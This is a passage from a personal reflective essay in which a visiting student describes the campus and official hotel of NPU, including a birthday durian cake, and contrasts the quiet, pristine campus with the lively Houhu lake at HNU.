Additionally, the official hotel of NPU, "Nanshan Yuan" (南山苑), was exceptionally humane. On my birthday, they sent up a small cake 🍰 (although it turned out to be durian cake, which I hate the most 🥹), accompanying a hand-written greeting card. Let alone how touched I felt after concluding the competition...

But... when I attempted to outline scenarios of living here within my mind, I hesitated.
Perhaps it was due to the omnipresent static electricity, consistently stinging me right when I was most relaxed, reminding me the air here did not belong to me; or perhaps because this campus somewhat resembles... a hospital? Or another mega-settlement or aggregation ground—it is quiet enough, healing enough, but it is too pristine. It is so pristine that it invoked a trace of unreality to someone like me, who grew accustomed to absorbing vitality amidst the earthy mortal fireworks of HNU.
Back at HNU, when I wanted to rest and seek healing, I would generally go to Houhu (Rear Lake).
Usually, I'd sit on the lawn near Dezhi, watching university students taking a stroll, other residents walking their dogs, taking photographs, and the like. I also enjoyed seeing a group of students picnicking and camping, talking and laughing away.
I take immense pleasure in watching puppies chasing each other on the lawn, or occasionally spotting a few kittens loitering around the corners. On an afternoon in Houhu, the place seems littered entirely with occurrences akin to a series of "NPC quests", allowing one to genuinely feel the vitality born of human interactions.
Contrarily, looking across the vast lake at NPU, I saw NPU's massive aircraft standing opposite, along with a couple seated beneath a willow tree on a bench, holding hands silently. A massive lake indeed, but within those gazes laid nothing more than simply "you and me."


What exactly is this hesitation? The present me is incapable of articulating it properly.
Maybe there will be an answer when I come again next time, or when I truly visualize the life I desire.